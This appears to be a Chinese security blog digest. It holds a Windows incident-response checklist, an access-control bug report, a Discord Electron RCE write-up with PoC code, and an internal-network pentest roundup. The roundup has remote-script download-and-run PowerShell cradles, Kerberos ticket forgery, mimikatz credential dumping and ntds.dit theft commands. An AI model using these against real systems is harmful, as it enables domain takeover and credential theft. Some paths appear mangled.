前言 在系统被入侵后,需要迅速梳理出黑客的攻击路径,本文总结windows系统攻击溯源过程中必要的排查范围。 排查项目 用户 查看当前登录用户 1 query user 查看系统中所有用户 1 2 3 1. net user 2. 开始-运行-lusrmgr.msc 3.查看C:\Users目录排查是否新建用户目录,如果存在则排查对应用户的download和desktop目录是否有可疑文件 查看是否存在隐藏账号,克隆账号 1 2 开始-运行-regedit 查看HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中是否有异常 启动项 注册表查看启动项 1 2 3 \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run \HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run 命令行查看启动项 1 wmic startup list full 组策略中查看启动 1 运行-gpedit.msc Recent目录 此目录可以看到程序或文件最后被打开和使用的日期时间。 1 C:\Users\Administrator\Recent windows日志 安全日志 计算机-管理-事件查看器-windows日志-安全(或eventvwr.msc) 根据时间排查安全日志里的登录事件,用户创建等事件情况 着重寻找登录事件(ID4624)且登录类型为3和10等远程登录方式 windows安全日志文件:C:\Windows\System32\winevt\Logs\Security.evtx 查看其大小是否为20M左右,若远远小于20M则有可能被清理过 系统日志 计算机-管理-事件查看器-windows日志-系统 查看恶意进程的运行状态时间等 排查可疑进程 查看可疑网络连接 1 netstat -b -n 根据网络连接寻找pid 1 netstat -ano | findstr xxx 根据pid寻找进程 1 tasklist | findstr xxx 杀死可疑进程 1 taskkill /T /F /PID xxxx 排查计划任务 1 2 3 schtasks /query /fo table /v 运行-taskschd.msc 排查系统服务 1 运行-service.msc 工具使用 PECmd 使用PECmd导出最近活动项目 LastActivityView 使用LastActivityView图形化工具查看最近活动项目 ...
-
某公共平台个人信息查看处存在全局越权修改
01 漏洞标题 某公共平台个人信息查看处存在全局越权修改 02 漏洞类型 越权漏洞 03 漏洞等级 高危 04 漏洞地址 http://xxx.xxx.xx.com/er.app.xxxx/apps.html 05 漏洞详情 0x01 注册家政账户后,登录: http://xxx.xxx.xx.com/er.app.xxxx/apps.html 这个是账户A:ceshi www的个人信息 id=275 这个是账户B:ceshi123 天天的个人信息 id=274 然后在账户A下越权修改B账户的个人信息: 0x02 然后burp下抓包,替换uld参数,将其改成B账户的274 然后到B账户下查看个人信息: 发现B账户中的个人信息被成功越权修改了 这里uld参数是可以遍历的,所以可以直接越权修改所有已注册用户的个人敏感信息: 06 漏洞危害 通过遍历id参数全局越权修改所有已注册用户的个人信息,这样就可以定向的进行诈骗或者是其他的信息贩卖等。 07 建议措施 做好权限的控制,建议添加token。 PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负...
-
渗透测试自用路径字典、爆破字典
字典内容来自互联网开源内容和实战总结 脚本语言类字典:asp.txt/php.txt/jsp.txt/asp.txt,内容包括但不限于罕见途径、后门、罕见系统漏洞地址等 用户名字典:xing.txt、ming.txt来自常用姓名数据,内容为汉字,name.txt,包括罕见零碎用户名和人名内容为字母 密码字典:pass_kill.txt属于小字典,适用于存在waf等状况。pass.txt是罕见密码 参数字典:parameter.txt,常用于接口fuzzing测试 公共字典:sensetive.txt 适用于任何环境的途径字典 点击下方:加入交流群→扫码入群→群文件下载...
-
Discord桌面应用程序RCE
01 背景 几个月前,我在Discord桌面应用程序中发现了一个远程执行代码的问题,并通过其Bug Bounty Program报告了该问题。我发现RCE很有趣,因为它是通过组合多个错误实现的。在本文中,我想分享细节。为什么我选择Discord作为目标我感觉好像是在寻找Electron应用程序的漏洞,因此我一直在寻找一个赏金计划,该计划为Electron应用程序支付了赏金,我找到了Discord。另外,我是Discord用户,只想检查我使用的应用程序是否安全,因此我决定进行调查。 02 我发现的bug 基本上,我发现了以下三个bug,并通过结合使用它们实现了RCE。 缺少上下文隔离 iframe嵌入中的XSS Navigation restriction bypass(CVE-2020-15174) 我将一一解释这些错误。 缺少上下文隔离 在测试Electron应用程序时,首先,我始终会检查BrowserWindow API的选项,该选项用于创建浏览器窗口。通过检查它,我考虑了如何在渲染器上执行任意JavaScript时如何实现RCE。 Discord的Electron应用程序不是一个开源项目,但是Electron的JavaScript代码以asar格式保存在本地,我能够通过提取它来读取它。 在主窗口中,使用以下选项: const mainWindowOptions = { title :D"iscord”, backgroundColor:getBackgroundColor(), width:DEFAULT_WIDTH, height:DEFAULT_HEIGHT, minWidth:MIN_WIDTH, minHeight:MIN_HEIGHT,transparent:false frame:false, resizable:true, show:isVisible, webPreferences: { blinkFeatures:'EnumerateDevices,AudioOutputDevices', nodeIntegration:false, preload:_path2.default.join(__ dirname,'mainScreenPreload.js'), nativeWindowOpen:true, enableRemoteModule:false, spellcheck:true }}; 我们这里应该检查的重要选项尤其是nodeIntegration和contextIsolation。从上面的代码中,我发现在Discord的主窗口中,nodeIntegration选项设置为false,而contextIsolation选项设置为false(使用版本的默认值)。 如果将nodeIntegration设置为true,则网页的JavaScript只需调用即可轻松使用Node.js功能require()。例如,在Windows上执行calc应用程序的方式是: <script> require('child_process')。exec('calc');</ script> 这一次,将nodeIntegration设置为false,因此我无法通过require()直接调用直接使用Node.js功能。 但是,仍然可以访问Node.js功能。该contextIsolation,另一个重要的选项,设置为false。如果要消除在应用程序上进行RCE的可能性,则不应将此选项设置为false。 如果禁用contextIsolation,则网页的JavaScript可能会影响在渲染器上执行Electron内部JavaScript代码和预加载脚本(在下文中,这些JavaScript将被称为网页外部的JavaScript代码)。例如,如果您Array.prototype.join使用网页JavaScript中的另一个函数重写 了JavaScript的一种内置方法,则网页外部的JavaScript代码在调用时也将使用重写的函数join。 此行为很危险,因为Electron允许web页面外部的JavaScript代码使用node.js功能,而不管nodeIntegration选项如何,并且通过干扰web页面中重写的功能来干扰它们,即使nodeIntegration为设置为false。 顺便说一句,以前还不知道这样的把戏。它最早是由Cure53在一次渗透测试中发现的,我也于2016年加入了该测试。之后,我们将其报告给Electron团队,并引入了contextIsolation。 最近,该笔测试报告已发布。如果您有兴趣,可以从以下链接中阅读: Pentest报告 https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view 您还可以阅读我在CureCon活动中使用的幻灯片: 该contextIsolation介绍了网页和JavaScript代码之外的网页,使每个代码的JavaScript执行不影响各间分隔的上下文。这是消除RCE可能性的必要功能,但是这次在Discord中将其禁用。 现在,我发现contextIsolation已禁用,因此我开始寻找一个可以干扰网页外部JavaScript代码来执行任意代码的地方。 通常,当我在Electron的渗透测试中为RCE创建PoC时,我首先尝试通过在渲染器上使用Electron的内部JavaScript代码来实现RCE。这是因为可以在任何Electron应用程序中执行渲染器上Electron的内部JavaScript代码,因此基本上我可以重用相同的代码来实现RCE,这很容易。 在我的幻灯片中,我介绍了可以通过使用Electron在导航时间执行的代码来实现RCE。不仅可以从该代码中获得代码,而且在某些地方也有这样的代码。(我希望将来发布PoC的示例。) 但是,根据使用的Electron的版本或设置的BrowserWindow选项,由于代码已更改或无法正确访问受影响的代码,有时通过Electron的代码进行PoC不能很好地工作。在这次,它没有用,所以我决定将目标更改为预加载脚本。 在检查预加载脚本时,我发现Discord将函数公开了,该函数允许通过调用某些允许的模块到 DiscordNative.nativeModules.requireModule('MODULE-NAME') 网页中。 在这里,我无法使用可直接用于RCE的模块,例如child_process模块,但是我发现了一个代码,在其中可以通过重写JavaScript内置方法并干扰公开模块的执行来实现RCE。 以下是PoC。我能确认的是,计算的应用程序弹出时,我所说的getGPUDriverVersions被称为“模块中定义的函数 discord_utils从devTools而重写RegExp.prototype.test和Array.prototype.join。 RegExp.prototype.test = function(){ return false;}Array.prototype.join = function(){ return“ calc”;}DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); 该getGPUDriverVersions函数尝试使用“ execa ”库执行程序,如下所示: module.exports.getGPUDriverVersions = async () => { if (process.platform !== 'win32') { return {}; } const result = {}; const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; try { result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); } catch (e) { result.nvidia = {error: e.toString()}; } return result;}; 通常execa会尝试执行在变量中指定的“ nvidia-smi.exe ”,nvidiaSmiPath但是,由于覆盖了RegExp.prototype.test和Array.prototype.join,因此在execa的内部处理中将参数替换为“ calc ” 。 具体来说,通过更改以下两个部分来替换该参数。 https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55 剩下的工作是找到一种在应用程序上执行JavaScript的方法。如果我可以找到它,则会导致RCE。 2.iframe嵌入中的XSS 如上所述,我发现RCE可能来自任意JavaScript执行,因此我试图找到一个XSS漏洞。该应用程序支持自动链接或Markdown功能,但看起来不错。因此,我将注意力转向了iframe嵌入功能。例如,iframe嵌入功能是在发布YouTube URL时自动在聊天中显示视频播放器的功能。 当网址贴出来,不和谐尝试获取OGP该URL的信息,如果存在OGP信息,它会显示网页标题,描述,在聊天的缩略图,相关的视频等。 Discord从OGP中提取视频URL,只有在允许视频URL域并且该URL实际上具有嵌入页面的URL格式的情况下,该URL才会嵌入到iframe中。 我找不到有关哪些服务可以嵌入到iframe中的文档,因此我试图通过检查CSP的frame-src指令来获取提示。当时,使用了以下CSP: Content-Security-Policy: [...] ; frame-src https://*.youtube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.comhttps://*.watchanimeattheoffice.com 显然,其中列出了一些允许iframe嵌入的内容(例如YouTube,Twitch,Spotify)。我试图通过将域一一指定到OGP信息中来检查URL是否可以嵌入iframe中,并尝试在嵌入式域中找到XSS。经过一番尝试,我发现可以将 C ++中列出的域之一sketchfab.com嵌入到iframe中,并在嵌入页面上找到XSS。当时我还不了解Sketchfab,但似乎这是一个用户可以在其中发布,购买和出售3D模型的平台。3D模型的脚注中有一个基于DOM的简单XSS。 以下是具有精心制作的OGP的PoC。当我将此URL发布到聊天中时,Sketchfab被嵌入到聊天中的iframe中,然后在iframe上单击几下后,将执行任意JavaScript。 https://l0.cm/discord_rce_og.html<head> <meta charset="utf-8"> <meta property="og:title" content="RCE DEMO"> [...] <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"> <meta property="og:video:type" content="text/html"> <meta property="og:video:width" content="1280"> <meta property="og:video:height" content="720"></head> 好的,最后我找到了XSS,但是JavaScript仍在iframe上执行。由于Electron不会将“网页外的JavaScript代码”加载到iframe中,因此即使我覆盖iframe上的JavaScript内置方法,也不会干扰Node.js的关键部分。要实现RCE,我们需要退出iframe,并在顶级浏览上下文中执行JavaScript。这需要从iframe打开新窗口,或将顶部窗口导航到iframe的另一个URL。 我检查了相关代码,并在主要流程的代码中找到了通过使用“ new-window ”和“ will-navigate ”事件来限制导航的代码: mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => { e.preventDefault(); if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) { popoutWindows.openOrFocusWindow(e, windowURL, frameName, options); } else { _electron.shell.openExternal(windowURL); }});[...]mainWindow.webContents.on('will-navigate', (evt, url) => { if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { evt.preventDefault(); }}); 我认为这段代码可以正确地阻止用户打开新窗口或浏览顶部窗口。但是,我注意到了意外的行为。 3.Navigation restriction bypass(CVE-2020-15174) 我以为代码还可以,但是我尝试检查iframe的顶部导航是否被阻止。然后,令人惊讶的是,由于某种原因,导航没有被阻塞。我希望在导航发生之前,“ will-navigate ”事件会捕获该尝试preventDefault(),但会拒绝该尝试,但事实并非如此。 为了测试这种行为,我创建了一个小型的Electron应用程序。而且我发现由于某种原因,从iframe开始的顶部导航未发出“ will-navigate ”事件。确切地说,如果顶部的起点和iframe的起点在同一起点,则发出该事件,但如果起点在不同的起点,则不发出该事件。我认为这种行为没有正当的理由,因此我认为这是Electron的错误,因此决定稍后再向Electron团队报告。 借助此错误,我可以绕过导航限制。我应该做的最后一件事就是使用iframe的XSS导航到包含RCE代码的页面,例如 top.location="//l0.cm/discord_calc.html"。 这样,通过结合三个错误,我能够实现RCE, 03 结果 通过Discord的Bug赏金计划报告了这些问题。首先,Discord小组停用了Sketchfab嵌入,并采取了一种变通方法,通过将沙箱属性添加到iframe来阻止从iframe导航。一段时间后,启用了 contextIsolation。现在,即使我可以在应用程序上执行任意JavaScript,RCE也不会通过覆盖的JavaScript内置方法发生。我因这次发现而获得了5,000美元的奖励。 Sketchfab上的XSS是通过Sketchfab的Bug赏金计划报告的,并由Sketchfab开发人员迅速修复。我因这次发现而获得了300美元的奖励。 向电子安全团队报告了“ will-navigate ”事件中的错误是Electron的错误,并已修复为以下漏洞(CVE-2020-15174)。 ...
-
内网渗透技术汇总
信息收集 网上各种前期信息收集的文章各种net view之类的太多了,一般想知道哪一台是域控知道自己内网的DNS就可以了,一般域控安装都有安装DNS有些不止一台,其次是通过扫描获取开放端口为389机器或者使用nltest命令查看。最后就是各种net view查看域控是哪台主机。 nltest /DCLIST:pentest.com 这里利用PowerTools中的PowerView信息收集其实很多功能都是net命令这里只是以PowerShell方式实现 Powershell.exe -Nop -NonI -Exec Bypass "IEX (New.ObjectNet.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP" 更详细参考: 域渗透信息收集PowerToolshttps://github.com/cheetz/PowerTools Get-NetDomain - gets the name of the current user's domainGet-NetForest - gets the forest associated with the current user's domainGet-NetForestDomains - gets all domains for the current forestGet-NetDomainControllers - gets the domain controllers for the current computer's domainGet-NetCurrentUser - gets the current [domain\]usernameGet-NetUser - returns all user objects, or the user specified (wildcard specifiable)Get-NetUserSPNs - gets all user ServicePrincipalNamesGet-NetOUs - gets data for domain organization unitsGet-NetGUIDOUs - finds domain OUs linked to a specific GUIDInvoke-NetUserAdd - adds a local or domain userGet-NetGroups - gets a list of all current groups in the domainGet-NetGroup - gets data for each user in a specified domain groupGet-NetLocalGroups - gets a list of localgroups on a remote host or hostsGet-NetLocalGroup - gets the members of a localgroup on a remote host or hostsGet-NetLocalServices - gets a list of running services/paths on a remote host or hostsInvoke-NetGroupUserAdd - adds a user to a specified local or domain groupGet-NetComputers - gets a list of all current servers in the domainGet-NetFileServers - get a list of file servers used by current domain usersGet-NetShare - gets share information for a specified serverGet-NetLoggedon - gets users actively logged onto a specified serverGet-NetSessions - gets active sessions on a specified serverGet-NetFileSessions - returned combined Get-NetSessions and Get-NetFilesGet-NetConnections - gets active connections to a specific server resource (share)Get-NetFiles - gets open files on a serverGet-NetProcesses - gets the remote processes and owners on a remote server 获取域方法 SYSVOL是指存储域公共文件服务器副本的共享文件夹,它们在域中所有的域控制器之间复制。Sysvol文件夹是安装AD时创建的,它用来存放GPO、Script等信息。同时,存放在Sysvol文件夹中的信息,会复制到域中所有DC上。使用Group Policy Preferences配置组策略批量修改用户本地管理员密码 开始->管理工具->组策略管理->在这个域中创建GPO设置-右键-编辑-用户配置-首选项-控制面板设置-本地用户和组 更新Administrator密码: 域服务器一般都会共享这个文件夹,或者搜索当前机器下的XML文件将包含凭据: groups.xml、scheduledtasks.xml、Services.xml、datasources.xml。映射驱动(Drives.xml)数据源(DataSources.xml)打印机配置(Printers.xml)创建/更新服务(Services.xml)计划任务(ScheduledTasks.xml) 由于经过身份验证的用户(任何域用户或受信任域中的用户)具有对SYSVOL的读取权限 \192.168.50.205sysvolpentest.comPolicies{84017B64-2662-4BA3-A06C-FB953CCBE92D}UserPreferencesGroups.xml 经过AES-256位加密 cpassword="fUCMHAw9I2PdYRZEBMS54IvtPHX3ni44qRkWtfBtxoA" 可以使用AES私钥解密GPP密码 微软在MSDN上发布了AES加密密钥(共享密钥) https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx 使用PowerShell脚本解密 https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 寻找SYSVOL里的密码和攻击GPP(组策略偏好)https://www.freebuf.com/vuls/92016.html Windows Server 2008 R2之四管理Sysvol文件夹http://blog.51cto.com/ycrsjxy/203095 SYSVOL中查找密码并利用组策略首选项https://adsecurity.org/?p=2288 利用SYSVOL还原组策略中保存的密https://xianzhi.aliyun.com/forum/topic/1653/?accounttraceid=c4c9a768-4a9f-42f8-b1e1-f8707574eeb9 防: 在用于管理GPO的计算机上安装KB2962486,以防止将新凭据置于组策略首选项中。设置Everyone访问权限不在组策略中使用域控密码设置共享文件夹SYSVOL的访问权限删除现有的GPP里包含密码的xml文件。 Kerberos是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos需要三方的共同参与,才能完成一次事务处理。 Kerberos 是Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人(principal)。参与的中央服务器被称为密钥分发中心(简称KDC)。KDC有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在Windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。 更多阅读: Kerberos协议的滥用https://www.freebuf.com/articles/system/45631.html Kerberos的工作原理http://adsecurity.org/?p=227 最根本的问题在于权限属性证书可以被伪造,权限属性证书中存储帐号用户名、ID、组成员等信息,掌握域用户一些基本信息就可以获取域管理员权限 攻击者可以有效地重写有效的Kerberos TGT身份验证票据,使其成为域管理员(和企业管理员) https://github.com/bidord/pykek/archive/master.ziphttps://github.com/gentilkiwi/mimikatz/releases/ apt-get install krb5-user apt-get install rdate MS14-068过程: 请求没有PAC的Kerberos TGT认证票据作为标准用户,DC回复TGT生成一个伪造的PAC,没有密钥,所以生成的PAC使用域用户的密码数据用MD5算法而不是HMAC_MD5“签名”。作为TGS服务票据请求的一部分,使用伪造的PAC作为授权数据发送无PAC的TGT到DC。DC似乎被这个混淆了,所以它放弃了用户发送的不含PAC的TGT,创建一个新的TGT,并将伪造的PAC插入到它自己的授权数据中,并将这个TGT发送给用户。这个伪造PAC的TGT使得用户可以成为易受攻击的DC上的域管理员。 whoami /user python ms14-068.py -u 域用户@域名 -p 密码 -s 用户SID -d 域主机 产生缓存的票据,在当前Kali下生成之后再放到域用户机器中 利用mimikatz工具将得到的TGT_domainuser@SERVER.COM.ccache写入内存,创建缓存证书: mimikatz.exe "kerberos::ptc c:TGT_darthsidious@pentest.com.ccache" exit klist 查看 net use k: \pentest.comc$ dir k: 相关资料: Kerberos工具包PyKEKhttp://adsecurity.org/?p=676 深入解读MS14-068漏洞http://www.freebuf.com/vuls/56081.html Kerberos安全漏洞http://adsecurity.org/?p=541 防: 安装检查KB3011780的安装 SPN扫描 Kerberoast可以作为一个有效的方法从Active Directory中以普通用户的身份提取服务帐户凭据,无需向目标系统发送任何数据包 SPN 是服务在使用 Kerberos 身份验证的网络上的唯一标识符。它由服务类、主机名和端口组成。在使用 Kerberos 身份验证的网络中,必须在内置计算机帐户(如 NetworkService 或 LocalSystem)或用户帐户下为服务器注册 SPN。对于内置帐户,SPN 将自动进行注册。但是,如果在域用户帐户下运行服务,则必须为要使用的帐户手动注册 SPN。 SPN扫描的主要好处是,SPN扫描不需要连接到网络上的每个IP来检查服务端口,SPN通过LDAP查询向域控执行服务发现,spn查询是kerberos票据行为一部分,因此比较难检测SPN扫描。 powershell -exec bypass -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PyroTek3/PowerShell-AD-Recon/master/Discover-PSMSSQLServers'); Discover-PSMSSQLServers" 扫描SQL Server脚本:https://github.com/nullbind/Powershellery/tree/master/Stable-ish/MSSQL Import-Module .Get-SQLServerAccess.psm1PS C:Get-SqlServer-Escalate-CheckAccess [*] ---------------------------------------------------------------------- [*] Start Time: 04/01/2014 10:00:00 [*] Domain: mydomain.com [*] DC: dc1.mydomain.com [*] Getting list of SQL Server instances from DC as mydomainmyuser... [*] 5 SQL Server instances found in LDAP. [*] Attempting to login into 5 SQL Server instances as mydomainmyuser... [*] ---------------------------------------------------------------------- [-] Failed - server1.mydomain.com is not responding to pings [-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed [+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ---------------------------------------------------------------------- [*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00 [*] ---------------------------------------------------------------------- 通过LDAP从ADS获取SQL Server的列表,然后试图用当前域用户登陆每一个SQL Server。这次将输出到CSV文件中。 PS C:Get-SQLServerAccess -ShowSum | export-csv c:tempsql-server-excessive-privs.csv[*] ----------------------------------------------------------------------[*] Start Time: 04/01/2014 10:00:00[*] Domain: mydomain.com[*] DC: dc1.mydomain.com[*] Getting list of SQL Server instances from DC as mydomainmyuser...[*] 5 SQL Server instances found in LDAP.[*] Attempting to login into 5 SQL Server instances as mydomainmyuser...[*] ----------------------------------------------------------------------[-] Failed - server1.mydomain.com is not responding to pings[-] Failed - server2.mydomain.com (192.168.1.102) is up, but authentication/query failed[+] SUCCESS! - server3.mydomain.com,1433 (192.168.1.103) - Sysadmin: No - SvcIsDA: No [+] SUCCESS! - server3.mydomain.comSQLEXPRESS (192.168.1.103) - Sysadmin: No - SvcIsDA: No[+] SUCCESS! - server4.mydomain.comAppData (192.168.1.104) - Sysadmin: Yes - SvcIsDA: Yes [*] ----------------------------------------------------------------------[*] 3 of 5 SQL Server instances could be accessed. [*] End Time: 04/01/2014 10:02:00 [*] Total Time: 00:02:00[*] ---------------------------------------------------------------------- 弱口令猜解 Get-SQLServerAccess -sqluser sa -sqlpass 123qwe!@# 寻找敏感数据 Get-SQLServerAccess -query "select name as 'Databases' from master..sysdatabases where HAS_DBACCESS(name) = 1" 更多参考: 非扫描式的SQL Server发现https://blog.netspi.com/locate-and-attack-domain-sql-servers-without-scanning 相关资料: SPN扫描https://adsecurity.org/?p=1508 扫描SQLServer脚本https://github.com/PyroTek3/PowerShell-AD-Recon Kerberos黄金门票https://adsecurity.org/?p=1640 域服务账号破解实践http://bobao.360.cn/learning/detail/3564.html kerberos认证原理http://blog.csdn.net/wulantian/article/details/42418231 深刻理解windows安全认证机制ntlm & Kerberoshttps://klionsec.github.io/2016/08/10/ntlm-kerberos/ Kerberos身份验证流程 密码转换为NTLM哈希值,时间戳使用散列加密,并作为身份验证票据(TGT)请求(AS-REQ)中的身份验证器发送给KDC。域控制器(KDC)检查用户信息(登录限制,组成员身份等)并创建票证授予票证(TGT)。TGT被加密,签名并交付给用户(AS-REP)。只有域中的Kerberos服务(KRBTGT)才能打开并读取TGT数据。用户在申请票证授予服务(TGS)票证(TGS-REQ)时向TG提交TGT。DC打开TGT并验证PAC校验和 – 如果DC可以打开票证和校验和签出,则TGT =有效。TGT中的数据被有效地复制来创建TGS票据。使用目标服务帐户的NTLM密码散列对TGS进行加密并发送给用户(TGS-REP)。用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。 其实可以说是一种后门而不是什么漏洞。黄金票据是伪造TGT,可以获取任何Kerberos服务权限,与域控制器没有AS-REQ或AS-REP(步骤1和2)通信。由于黄金票据是伪造的TGT,它作为TGS-REQ的一部分被发送到域控制器以获得服务票据。 Kerberos黄金票证是有效的TGT Kerberos票证,因为它是由域Kerberos帐户(KRBTGT)加密/签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT密码散列加密并且可以被域中的任何KDC服务解密的事实证明它是有效的 利用条件: 1.普通域用户 2.krbtgt ntlm hash 3.域SID 在域上抓取hash lsadump::dcsync /domain:pentest.com /user:krbtgt kerberos::purgekerberos::golden /admin:administrator /domain:域 /sid:SID /krbtgt:hash值 /ticket:adinistrator.kiribikerberos::ptt administrator.kiribikerberos::tgtnet use k: \pentest.comc$ Kerberos银票务 攻击者如何使用Kerberos银票来利用系统https://adsecurity.org/?p=2011 https://www.feiworks.com/wy/drops/域渗透——Pass%20The%20Ticket.pdf 黄金票据和白银票据的一些区别: Golden Ticket: 伪造TGT,可以获取任何Kerberos服务权限Silver Ticket: 伪造TGS,只能访问指定的服务 加密方式不同: Golden Ticket 由krbtgt的hash加密Silver Ticket 由服务账号(通常为计算机账户)Hash加密 认证流程不同: Golden Ticket在使用的过程需要同域控通信Silver Ticket在使用的过程不需要同域控通信用户在适当的端口上连接到托管服务的服务器并呈现TGS(AP-REQ)。该服务使用其NTLM密码散列打开TGS票证。与域控制器没有AS-REQ / AS-REP(步骤1和2),也没有TGS-REQ / TGS-REP(步骤3和4)通信。由于银票是伪造的TGS,所以没有与域控制器通信。 银票是伪造的Kerberos票证授予服务(TGS)票据,也称为服务票据。 域上获取信息 mimikatz log "sekurlsa::logonpasswords" 首先需要获得如下信息: /domain /sid /target:目标服务器的域名全称,此处为域控的全称 /service:目标服务器上面的kerberos服务,此处为cifs /rc4:计算机账户的NTLM hash,域控主机的计算机账户 /user:要伪造的用户名,此处可用silver测试 mimikatz.exe "kerberos::golden /domain:域 /sid:SID /target:域全称 /service:要访问的服务 /rc4:NTLM /user:silver /ptt" 就可以访问域的cifs共享,访问其它是不行的,Silver Ticket是伪造的TGS,也就是说其范围有限,只能访问指定的服务权限 域服务账号破解 与上面SPN扫描类似的原理 https://github.com/nidem/kerberoast 获取所有用作SPN的帐户 setspn -T PENTEST.com -Q */* 从Mimikatz的ram中提取获得的门票 kerberos::list /export 用rgsrepcrack破解 tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi 没复现成功 凭证盗窃 最常用的手法域管理登录历史记录,记得获取某边界权限一个然后抓取hash并没有域管理的,可能是搞的动静有点大,管理员第二天上去把马给清除了,还好留了有后门再次抓取hash直接获取到域管理员。 大多数Active Directory管理员使用用户帐户登录到其工作站,然后使用RunAs(将其管理凭据放置在本地工作站上)或RDP连接到服务器运行Mimikatz 读取密码,收集密码尝试登录管理员机器一般只要域管理员登录过的机器抓取都可以获取域控了 防:管理员不应该拿着域用户去登录web服务器或者邮件服务器一但这些被攻破抓取的密码就是域了 ARP 最后才是ARP欺骗不到最后不要拿出来。 RespondercainettercapBDFProxy 获取AD Hash 攻击者如何转储Active Directory数据库https://adsecurity.org/?p=2398 活动目录数据库(ntds.dit): Active Directory域数据库存储在ntds.dit文件中(默认存储在c:WindowsNTDS中,AD数据库是Jet数据库引擎,它使用提供数据存储和索引服务的可扩展存储引擎(ESE)ESE级索引使对象属性可以快速定位。ESE确保数据库符合ACID(原子性,一致性,隔离性和持久性) – 交易中的所有操作完成或不执行。AD ESE数据库非常快速和可靠。 目录分区https://technet.microsoft.com/en-us/library/cc961591.aspx ntds.dit文件由三个主表组成:数据表,链接表和SD表。 具体详细资料查看: https://technet.microsoft.com/en-us/library/cc772829(v=ws.10).aspx 使用VSS卷影副本 什么是卷影副本? 卷影副本,也称为快照,是存储在 Data Protection Manager (DPM) 服务器上的副本的时间点副本。副本是文件服务器上单个卷的受保护共享、文件夹和文件的完整时间点副本。 支持操作系统: Windows Server 2003, Windows Server 2008, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012, Windows 8 通常拿下一台服务器时准备内网渗透,需要传你的工具到目标机器中,而且是长久渗透的这种,为了不被发现!获取系统SAM文件等 使用VSS卷影副本(通过WMI或PowerShell远程处理)远程提取ntds.dit Windows有一个名为WMI的内置管理组件,支持远程执行(需要管理员权限)。WMIC是在远程计算机上执行命令的WMI命令工具。 利用WMIC(或PowerShell远程处理)创建(或复制现有的)VSS。 wmic /node:AD /user:PENTESTAdministrator /password:123qweQWE!@# process call create "cmd /c vssadmin create shadow /for=c: 2>&1 > c:vss.log" 查看vss.log wmic /node:AD /user:PENTESTadministrator /password:123qwe!@#!@# process call create "cmd /c copy 卷影IDWindowsNTDSNTDS.dit C:windowstempNTDS.dit 2>&1" wmic /node:AD /user:PENTESTadministrator /password:123qwe!@# process call create "cmd /c copy 卷影IDWindowsSystem32configSYSTEM c:windowstempSYSTEM.hive 2>&1" net use k: \pentest.comc$ 利用这种方法可以和上面的Kerberos票结合来实现 使用DIT Snapshot Viewer可以验证我们是否成功地获得了ntds.dit文件。 https://github.com/yosqueoy/ditsnap NTDSUtil获取ntds.dit文件 Ntdsutil.exe是一个为Active Directory提供管理设施的命令行工具。 使用NTDSUTIL的IFM创建(VSS卷影副本)在DC上本地引用ntds.dit NTDSUtil是本地处理AD DB的命令实用程序(ntds.dit),并为DCPromo启用IFM集创建。IFM与DCPromo一起用于“从媒体安装”,因此被升级的服务器不需要通过网络从另一个DC复制域数据。 ntdsutil "ac i ntds" "ifm" "create full c:temp" q q 当创建一个IFM时,VSS快照被拍摄,挂载,ntds.dit文件和相关数据被复制到目标文件夹中。 此命令也可以通过WMI或PowerShell远程执行。 PowerShell提取ntds.dit 使用PowerSploit的Invoke-NinjaCopy远程提取ntds.dit(需要在目标DC上启用PowerShell远程处理功能)。 Invoke-NinaCopy是一个PowerShell函数,它可以利用PowerShell远程处理(必须在目标DC上启用PowerShell远程处理),从远程计算机上复制文件(即使文件已锁定,可直接访问文件)。 https://github.com/PowerShellMafia/PowerSploit IEX (New-Object 